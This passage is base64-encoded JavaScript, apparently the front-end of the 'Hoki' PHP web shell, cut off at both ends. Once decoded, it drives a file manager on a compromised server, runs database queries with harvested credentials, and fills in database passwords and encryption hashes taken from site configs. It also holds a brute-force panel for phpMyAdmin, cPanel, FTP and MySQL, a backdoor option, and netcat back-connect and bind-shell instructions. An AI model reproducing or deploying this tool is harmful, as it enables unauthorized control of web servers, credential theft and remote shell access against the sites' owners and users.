KXt9bCs9Jzx0ciBjbGFzcz0iZm1hbmFnZXItcm93IiBpZD0idHJfcm93XycrcisnIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInK24rJyIgY2xhc3M9ImNoa2J4IiB
pZD0iY2hlY2tib3gnK3IrJyI+PGxhYmVsIGZvcj0iY2hlY2tib3gnK3IrJyI+PC9sYWJlbD48L2Rpdj48L3RkPjx0ZCBpZD0idGRfcm93XycrcisnIj4nK3ArJzxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2
NrO2JvdHRvbToxMnB4OyI+PGEgcm93PSInK3IrJyIgaWQ9ImlkXycrcisnIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCIgaHJlZj1cIiNhY3Rpb249ZmlsZW1hbiZhb
XA7cGF0aD0iK2NfKyImYW1wO2ZpbGU9IitzKyciIGZuYW1lPSInK24rJyIgZnR5cGU9ImZpbGUiIHBhdGg9IicrY18rJyIgb3B0X3RpdGxlPSIiPicrbisnPC9hPjwvZGl2PjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsi
IGNsYXNzPSJtYWluX3NpemUiPicrYysnPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+JytfKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnV
uc2V0OyIgY2xhc3M9Im1haW5fb3duZXJfZ3JvdXAiPicrdSsnPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJytyKyciIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdjaG1vZCcsJycsJy
csJycsJ2ZpbGUnKVwiPiIrZisnPC9hPjwvdGQ+PHRkPjxhIGlkPSJpZF9yZW5hbWVfJytyKyciIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsI
CdyZW5hbWUnLCcnLCcnLCcnLCdmaWxlJylcIj5SPC9hPiA8YSBpZD1cImlkX3RvdWNoXyIrcisnIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9y
KFwnJytzKyInLCAndG91Y2gnLCcnLCcnLCcnLCdmaWxlJylcIj5UPC9hPiA8YSBpZD1cImlkX2VkaXRfIityKyciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFw
nJytzKyInLCAnZWRpdCcsJycsJycsJycsJ2ZpbGUnKVwiPkU8L2E+IDxhIGlkPVwiaWRfZG93bmxvYWRfIityKyciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXC
dGaWxlc1Rvb2xzXCcsbnVsbCxcJycrbisiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjxhIGlkPVwiaWRfZGVsZXRlXyIrcisnIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0id
mFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcrcysiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrcysiJykgOiAnJztcIj4gWCA8L2E+PC90ZD48L3RyPiJ9ZC5xdWVyeVNlbGVj
dG9yKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX2xhc3RfdHIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIixsKSxob2tpU2hvd05vdGlmaWNhdGlvbigiRmlsZShzKSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiLCJVcGxvYWRlciIpLGhva2l
GbW5nckNvbnRleHRSb3coKX1lbHNlIGhva2lTaG93Tm90aWZpY2F0aW9uKCJGb2xkZXIgaGFzIG5vIHBlcm1pc3Npb24uLi4iLCJVcGxvYWRlciIsImVycm9yIik7aG9raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGkpfX0sYS5vcGVuKCJQT1NUIi
xkLlVSTCksYS5zZW5kKGwpfX1mdW5jdGlvbiBob2tpQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZSl7LTE9PSQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJmaWxlc21hbi10YWItYWN0aXZlIikmJiQoImZpbGVzb
WFuX3RhYl8iK2UpLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIil9ZnVuY3Rpb24gZyhhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpe3ZhciBmbV9pZD0wPT1o
b2tpX2ZtX2lkP2hva2lfY3VycmVudF9mbV9pZDpob2tpX2ZtX2lkLGZtX2lkMj1ob2tpX2ZtX2lkLGZtX3BhdGg9bnVsbD09Y3x8MD09Yy5sZW5ndGg/Y186YyxkX21mX2M9Zm1fcGF0aCxnX2FjdGlvbl9pZD1ob2tpX2JlZm9yZV9kb19hY3Rpb25
faWQ7MD09aG9raV9mbV9pZCYmKHNldChhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpLGRfbWZfYz1kLm1mLmMudmFsdWUpLCJHZXRDb25maWciIT1hJiYiZG93bm
xvYWQiIT1ob2tpMiYmaXNsaW51eCYmIi8iIT1kX21mX2Muc3Vic3RyKDAsMSkmJihkX21mX2M9Ii8iK2RfbWZfYyksIkZpbGVzTWFuIj09YT8oaG9raWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsImJsb2NrIiksZ19hY3Rpb25faWQ9I
mZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkKToiIiE9Z19hY3Rpb25faWQ/aG9raWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKToiRmlsZXNUb29scyIhPWEmJiJkb3dubG9hZCIhPWhva2kyJiYiR2V0Q29uZmlnIiE9YSYmKCJzcWwiPT1hPyhzaG93
RWRpdG9yKCJkYXRhYmFzZV93aW5kb3ciKSxnX2FjdGlvbl9pZD1sb2FkUG9wVXBEYXRhYmFzZSgiIikpOiJGaWxlc01hbiIhPWEmJihzaG93RWRpdG9yKCJvcHRpb25zX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcE9wVGlvbnMoYSkpLGh
va2lsb2FkZXIoZ19hY3Rpb25faWQsImJsb2NrIikpO2Zvcih2YXIgZGF0YT0iYT0iK2hva2liNjQoYSkrIiZjPSIraG9raWI2NChkX21mX2MpKyImIixpPTE7aTw9MTA7aSsrKWRhdGErPSJob2tpIitpKyI9Iitob2tpYjY0KGV2YWwoImQubWYuaG
9raSIraSsiLnZhbHVlIikpKyImIjtpZigiRmlsZXNNYW4iPT1hKXt2YXIgcGFnZW51bT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2dfYWN0aW9uX2lkKyIgLnBhZ2UtbnVtYmVyLmFjdGl2ZS1wYWdlLW51bWJlciIpO251bGwhPXBhZ2VudW0mJihkYXRhK
z0icGFnZW51bT0iK2hva2liNjQoZ2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiKSksc2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiLDEsMjAxMikpfWlmKGRhdGErPSImYWpheD0iK2hva2liNjQoInRydWUiKSwi
RmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWhva2kyKXtob2tpTG9hZGVyT25Ub3AoIm5vbmUiKTt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9aG9raWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1ob2tpYjY0KGRfbWZfYyk
sZGwuZmlsZS52YWx1ZT1ob2tpYjY0KGhva2kxKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsdCl7ZXZhbEpTKGUpO3ZhciBpPSExO2lmKGhva2lMb2FkZXJPblRvcCgibm9uZSIpLC
JzcWwiPT1hKXJldHVybiBjb25zb2xlLmxvZyh0KSxsb2FkUG9wVXBEYXRhYmFzZShlLHQpLCExO2lmKCJGaWxlc01hbiI9PWEpe2hva2lsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkLCJub25lIiksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZ
XNtYW5faG9sZGVyXyIrZm1faWQpLmlubmVySFRNTD1lLGZtX3BhdGg9Zm1fcGF0aC5yZXBsYWNlKC9cL1wvL2csIi8iKSwkKCJmaWxlc21hbl90YWJfIitmbV9pZCkuc2V0QXR0cmlidXRlKCJwYXRoIixmbV9wYXRoKTt2YXIgbD1ob2tpR2V0TGFz
dEZvbGRlck5hbWUoZm1fcGF0aCk7ZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFiXyIrZm1faWQrIiBzcGFuIikuaW5uZXJIVE1MPWwsaG9raUZtbmdyQ29udGV4dFJvdygpLCJmdW5jdGlvbiI9PXR5cGVvZiBob2tpMSYmaG9raTEoZSksaG9
raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGZtX2lkKX1lbHNlKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8Ii4iPT10LnN1YnN0cigwLDEpKSYmIi4iPT10LnN1YnN0cigwLDEpJiYoaT0hMCx0PXQuc3Vic3RyKDEpLHNob3dFZGl0b3IoIm
9wdGlvbnNfd2luZG93IikpLGl8fGhva2lsb2FkZXIodCwibm9uZSIpLGxvYWRQb3BVcE9wVGlvbnModCxlKSwicGhwZXZhbCI9PWEmJmhva2lMb2FkQWNlRWRpdG9yKCJQaHBDb2RlIiksImNvbGR1bXBlciI9PWEuc3Vic3RyKDAsOSkmJmhva2lDb
2xEdW1wZXJJbml0KCl9LCExLCIiPT1nX2FjdGlvbl9pZD8iLiIrYTpnX2FjdGlvbl9pZCksZ19hY3Rpb25faWQ9IiIsMD09Zm1faWQyJiZjIT1jXyYmYyYmaW5pdERpcihjKSk6KGhva2lsb2FkZXIoaG9raTMsImJsb2NrIiksX0FqYXgoZC5VUkws
ZGF0YSxmdW5jdGlvbihlLGEpe3ZhciB0PWE7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiKygiaWRfZGIiIT1hLnN1YnN0cigwLDUpPyJvcHRpb25fIithOmEpKTt0cnl7KGU9SlNPTi5wYXJzZShlKSkuaG9zdCYmZS51c2VyJiZlLmRibmFtZSYmKCQoImR
iX2hvc3QiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX2hvc3QiKS52YWx1ZT1lLmhvc3QpLCQoImRiX3VzZXIiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3VzZXIiKS52YWx1ZT1lLnVzZXIpLCQoImRiX25hbWUiKSYmKGEucXVlcnlTZWxlY3Rvci
giI2RiX25hbWUiKS52YWx1ZT1lLmRibmFtZSksJCgiZGJfcHciKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3B3IikudmFsdWU9ZS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmUucHJlZml4JiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHJlZml4I
ikudmFsdWU9ZS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZlLmNjX2VuY3J5cHRpb25faGFzaCYmKGEucXVlcnlTZWxlY3RvcigiI2NjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWUuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2go
ZSl7fWhva2lsb2FkZXIodCwibm9uZSIpfSwhMSxob2tpMykpfWZ1bmN0aW9uIGhva2lHZXRMYXN0Rm9sZGVyTmFtZShlKXt2YXIgYT1lLnJlcGxhY2UoL1wvXC8vZywiLyIpLnNwbGl0KCIvIik7Zm9yKHZhciB0IGluIGEpMD09YVt0XS5sZW5ndGg
mJmEuc3BsaWNlKHQsMSk7dmFyIGk9YVthLmxlbmd0aC0xXTtyZXR1cm4gMD09aS5sZW5ndGgmJihpPSIvIiksaX1mdW5jdGlvbiBob2tpbG9hZGVyKGUsYSl7aWYoMD09ZS5sZW5ndGgpcmV0dXJuITE7dHJ5e3ZhciB0PSQoImxvYWRlcl8iK2UpO2
lmKG51bGw9PXQmJiJibG9jayI9PWEpe3ZhciBpPW51bGw7ImVkaXRvciI9PWU/aT1kLnF1ZXJ5U2VsZWN0b3IoIiNlZGl0b3IgLmVkaXRvci1tb2RhbCIpOiJpZF9kYiI9PWUuc3Vic3RyKDAsNSk/aT0kKGUpOiJ0ZXJtaW5hbF9pZCI9PWUuc3Vic
3RyKDAsMTEpP2k9JChlKToiZWRpdG9yIj09ZS5zdWJzdHIoMCw2KT9pPSQoZSk6ImNnaWZyYW1lIj09ZT9pPSQoImNnaWZyYW1lIik6ImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpPyhpPSQoZSkpLnN0eWxlLm1pbkhlaWdodD0iMzAw
cHgiOmk9JCgib3B0aW9uXyIrZSksaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IGlkPSdsb2FkZXJfIitlKydcJyBjbGFzcz0ib3B0aW9ucy1sb2FkZXItaG9sZGVyIj48ZGl2IHBhcmVudD0iJytlKyciIG9uY2xpY2s9Imh
va2lBamF4Q29udHJvbGxlcih0aGlzKTsiIGNsYXNzPSJzdG9wQWpheCI+WyBTdG9wIGl0IF08L2Rpdj48ZGl2IGNsYXNzPSJob2tpdGVhbS1sb2FkZXItdGV4dCI+SE9LSTMwMzwvZGl2PjxkaXYgY2xhc3M9Imhva2ktYWpheC1lcnJvciI+PC9kaX
Y+PGltZyBzcmM9XCdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wb
mctaW1hZ2VfNjYzNzE1OS5wbmdcJz48L2Rpdj4nKX1lbHNlImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpJiYoJChlKS5zdHlsZS5taW5IZWlnaHQ9IjAiKSxudWxsIT10JiYodC5zdHlsZS5kaXNwbGF5PWEpfWNhdGNoKGUpe319ZnVu
Y3Rpb24gZnMoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBkaXYuc2YiKTtteXNxbF9jYWNoZS5oYXNPd25Qcm9wZXJ0eShhKXx8KG15c3FsX2NhY2hlW2FdPXt9KSxob2tpbG9hZGVyKGE
sImJsb2NrIik7dmFyIGk9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9ob3N0XSIpLnZhbHVlLGw9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9sb2dpbl0iKS52YWx1ZSxvPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT
1zcWxfcGFzc10iKS52YWx1ZSxyPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT90LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIikudmFsdWU6dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfY
mFzZV0iKS52YWx1ZSxuPXQucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dHlwZV0iKS52YWx1ZSxzPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfY291bnRdIikuY2hlY2tlZD8idHJ1ZSI6IiI7X0FqYXgoZC5VUkwsImE9Iitob2tp
YjY0KCJTcWwiKSsiJmhva2kxPSIraG9raWI2NCgicXVlcnkiKSsiJmhva2kyPSZjPSIraG9raWI2NChjXykrIiZjaGFyc2V0PSIraG9raWI2NCgiVVRGLTgiKSsiJnR5cGU9Iitob2tpYjY0KG4pKyImc3FsX2hvc3Q9Iitob2tpYjY0KGkpKyImc3F
sX2xvZ2luPSIraG9raWI2NChsKSsiJnNxbF9wYXNzPSIraG9raWI2NChvKSsiJnNxbF9iYXNlPSIraG9raWI2NChyKSsiJnNxbF9jb3VudD0iK2hva2liNjQocykrIiZjdXJyZW50X215c3FsX2lkPSIraG9raWI2NChhKSsiJmFqYXg9Iitob2tpYj
Y0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBEYXRhYmFzZShlLGEpLGV2YWxKUyhlKSxob2tpbG9hZGVyKGEsIm5vbmUiKX0sITEsYSl9ZnVuY3Rpb24gY3RsYmMoZSl7dmFyIGE9JCgiYmNTdGF0dXMiKSx0PSQoImJjaXBBY3Rpb24iK
TsiYmluZCI9PWUudmFsdWU/KHQuc3R5bGUuZGlzcGxheT0ibm9uZSIsYS5pbm5lckhUTUw9IjxzbWFsbD5QcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbiBhbmQgcnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgc2Vy
dmVyX2lwIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlcjwvc21hbGw+Iik6KHQuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIixhLmlubmVySFRNTD0iPHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ
8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPiIpfWZ1bmN0aW9uICQoZSl7cmV0dXJuIGQuZ2V0RWxlbWVudEJ5SWQoZSl9ZnVuY3Rpb24gYWRkbm
V3dXAoKXt2YXIgZT0iZm9vdGVydXBfIit1cGNvdW50LGE9InBmb290ZXJ1cF8iK3VwY291bnQsdD0xIT11cGNvdW50PyJwZm9vdGVydXBfIisodXBjb3VudC0xKToicGZvb3RlcnVwIixpPWQuY3JlYXRlRWxlbWVudCgicCIpO2kuaW5uZXJIVE1MP
Sc8bGFiZWwgY2xhc3M9ImlucHV0ZmlsZSIgZm9yPSInK2UrJyI+PHNwYW4gaWQ9Il9fZm5hbWV1cCcrdXBjb3VudCsnIj48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSIn
K2UrJyIgdHlwZT0iZmlsZSIgbmFtZT0iZltdIiBvbkNoYW5nZT0iaGFuZGxldXAodGhpcywnK3VwY291bnQrJyk7IiBtdWx0aXBsZT4nLGkuaWQ9YSxpLmFwcGVuZEFmdGVyKCQodCkpLHVwY291bnQrK31mdW5jdGlvbiBob2tpX3NlYXJjaGVyX3R
vb2woZSl7c3dpdGNoKGUpe2Nhc2UiYWxsIjpjYXNlImRpcnMiOl9ob2tpU2V0KCEwLCJEaXNhYmxlZCIpO2JyZWFrO2Nhc2UiZmlsZXMiOl9ob2tpU2V0KCExLCJwaHAiKX19ZnVuY3Rpb24gX2hva2lTZXQoZSxhKXtkLnNyY2guZXh0LmRpc2FibG
VkPWUsZC5zcmNoLmV4dC52YWx1ZT1hfWZ1bmN0aW9uIGRpc19pbnB1dChlKXtzd2l0Y2goZSl7Y2FzZSJwaHBteWFkbWluIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJkaXJlY3QiOmJydXRlU2V0KCExLCIyM
jIyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiY3AiOmJydXRlU2V0KCExLCIyMDgyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJmdHA6Ly8iKTticmVhaztjYXNlIm15c3FsIjpicnV0ZVNldCghMSwi
MzMwNiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cGMiOmJydXRlU2V0KCExLCIyMSIsImh0dHA6Ly8iKX19ZnVuY3Rpb24gYnJ1dGVTZXQoZSxhLHQpe2M9IjIxIiE9YT8ibG9jYWxob3N0IjoiZnRwLmV4YW1wbGUuY29tIiwkKCJwb3J0IikuZGl
zYWJsZWQ9ZSwkKCJwb3J0IikudmFsdWU9YSwkKCJ0YXJnZXQiKS52YWx1ZT1jLCQoInByb3RvY29sIikudmFsdWU9dH1mdW5jdGlvbiBpbkJhY2tkb29yKGUpeyJteSI9PWUudmFsdWU/JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbG
F5PSJibG9jayI6JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJub25lIn1mdW5jdGlvbiBzYXZlQnlLZXkoZSl7cmV0dXJuISgicyI9PVN0cmluZy5mcm9tQ2hhckNvZGUoZS53aGljaCkudG9Mb3dlckNhc2UoKSYmZS5jdHJsS
2V5fHwxOT09ZS53aGljaCl8fCgkKCJlZGl0b3JfZWRpdF9hcmVhIikub25zdWJtaXQoKSxlLnByZXZlbnREZWZhdWx0KCksITEpfWZ1bmN0aW9uIGhva2lBamF4RXJyb3IoZSxhLHQsaSl7aWYodm9pZCAwIT09YSl7dmFyIGw9ZC5xdWVyeVNlbGVj
dG9yKCIjbG9hZGVyXyIrYSk7bnVsbCE9bCYmKGZpcmV3YWxsPSIiLDQwMz09ZSYmKGZpcmV3YWxsPSIgfiBGaXJlV2FsbCBEZXRlY3RlZCEiKSxsLnF1ZXJ5U2VsZWN0b3IoImltZyIpLnJlbW92ZSgpLGwucXVlcnlTZWxlY3RvcigiLmhva2ktYWp
heC1lcnJvciIpLmlubmVySFRNTD1lKyIgKCAiK3QrZmlyZXdhbGwrIiApIixob2tpU2hvd05vdGlmaWNhdGlvbih0LCJBamF4IiwiZXJyb3IiKSl9fWZ1bmN0aW9uIGhva2lJbml0Q3dkQ29udGV4dCgpe2QucXVlcnlTZWxlY3RvckFsbCgiLmhlYW
Rlcl9wd2QiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciBhPWUudGFyZ2V0LmdldEF0dHJpYnV0ZSgicGF0aCIpLHQ9ZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja
19tZW51ID4gYVtuYW1lPW5ld3RhYl0iKTt0LnNldEF0dHJpYnV0ZSgiaHJlZiIsImphdmFzY3JpcHQ6dm9pZCgwKTsiKSx0LnJlbW92ZUF0dHJpYnV0ZSgidGFyZ2V0IiksdC5vbmNsaWNrPWZ1bmN0aW9uKCl7aG9raUZpbGVzTWFuTmV3VGFiKGEs
Ii8iKX07dmFyIGk9ZS5jbGllbnRYLGw9ZS5jbGllbnRZO2hva2lTb3J0TWVudUl0ZW1zKFsibmV3dGFiIl0pLGhva2lSaWdodENsaWNrTWVudShpLGwpLGUucHJldmVudERlZmF1bHQoKX0pfSl9ZnVuY3Rpb24gaG9raVJpZ2h0Q2xpY2tNZW51KGU
sYSl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudG9wPWErInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC5sZWZ0PWUrInB4IixyaWdodGNsaWNrX21lbnVfY29udGV4dC52aXNpYmlsaXR5PSJ2aXNpYmxlIixyaWdodGNsaWNrX21lbnVfY29udG
V4dC5vcGFjaXR5PSIxIn1mdW5jdGlvbiBob2tpU29ydE1lbnVJdGVtcyhlKXt2YXIgYT1bIm5ld3RhYiIsImxpbmsiLCJkb3dubG9hZCIsInZpZXciLCJlZGl0IiwibW92ZSIsImNvcHkiLCJyZW5hbWUiLCJtb2RpZnkiLCJwZXJtaXNzaW9uIiwiY
29tcHJlc3MiLCJleHRyYWN0IiwiZGVsZXRlIiwidmlld19hcmNoaXZlIl0sdD0hMTtmb3IodmFyIGkgaW4gYSl7Zm9yKHZhciBsIGluIHQ9ITEsZSlhW2ldIT1lW2xdfHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1l
PSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIix0PSEwKTt0fHwoZC5xdWVyeVNlbGVjdG9yKCIjcmlnaHRjbGlja19tZW51ID4gYVtuYW1lPSIrYVtpXSsiXSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiKX19ZnVuY3Rpb24gaG9raUFjZUN
oYW5nZVNldHRpbmcoZSxhKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZSxpPWUuZ2V0QXR0cmlidXRlKCJiYXNlIiksbD1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvcjsiZXZhbCI9PWkmJihsPWhva2lfYWNlX2VkaXRvcnMuZX
ZhbCk7dmFyIG89ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpOyJsYW5nIj09YT9sW29dLnNlc3Npb24uc2V0TW9kZSgiYWNlL21vZGUvIit0KToidGhlbWUiPT1hJiZsW29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIit0KSxzZXRDb29raWUoImhva2lfY
WNlXyIrYSsiXyIraSx0LDIwMTIpfWZ1bmN0aW9uIGhva2lBY2VDaGFuZ2VXcmFwTW9kZShlLGEpe3ZhciB0PWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09YSYmKHQ9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgaT1lLmdldEF0dHJp
YnV0ZSgiYWNlX2lkIik7ZS5jaGVja2VkP3RbaV0uc2Vzc2lvbi5zZXRVc2VXcmFwTW9kZSghMCk6dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCExKX1mdW5jdGlvbiBob2tpQWNlQ2hhbmdlRm9udFNpemUoZSxhLHQpe3ZhciBpPWhva2lfYWN
lX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09ZSYmKGk9aG9raV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbD10LmdldEF0dHJpYnV0ZSgiYWNlX2lkIiksbz1pW2xdLmdldEZvbnRTaXplKCk7IisiPT1hPysrbzotLW8saVtsXS5zZXRGb250U2l6ZShvKS
xzZXRDb29raWUoImhva2lfYWNlX2ZvbnRzaXplXyIrZSxvLDIwMTIpfWZ1bmN0aW9uIHNldENvb2tpZShlLGEsdCl7dmFyIGk9bmV3IERhdGU7aS5zZXRUaW1lKGkuZ2V0VGltZSgpKzI0KnQqNjAqNjAqMWUzKTt2YXIgbD0iZXhwaXJlcz0iK2kud
G9VVENTdHJpbmcoKTtkb2N1bWVudC5jb29raWU9ZSsiPSIrYSsiOyIrbCsiO3BhdGg9LyJ9ZnVuY3Rpb24gZ2V0Q29va2llKGUpe3ZhciBhPSgiOyAiK2RvY3VtZW50LmNvb2tpZSkuc3BsaXQoIjsgIitlKyI9Iik7aWYoMj09YS5sZW5ndGgpcmV0
dXJuIGEucG9wKCkuc3BsaXQoIjsiKS5zaGlmdCgpfWZ1bmN0aW9uIGVkaXRvckNsb3NlKGUpe2lmKGQuYm9keS5zdHlsZS5vdmVyZmxvdz0idmlzaWJsZSIsZWxlbT0kKGUpLGVsZW0uc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLWN
sb3NlIiksImVkaXRvciI9PWUpe2lmKGlzX21pbmltaXplZD0hMSxudWxsIT1ob2tpX2FjZV9lZGl0b3JzLmVkaXRvciYmbnVsbCE9aG9raV9hY2VfZWRpdG9ycy5lZGl0b3Ipe2Zvcih2YXIgYSBpbiBob2tpX2FjZV9lZGl0b3JzLmVkaXRvcilob2
tpX2FjZV9lZGl0b3JzLmVkaXRvclthXS5kZXN0cm95KCk7aG9raV9hY2VfZWRpdG9ycy5lZGl0b3I9bnVsbCxkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVud
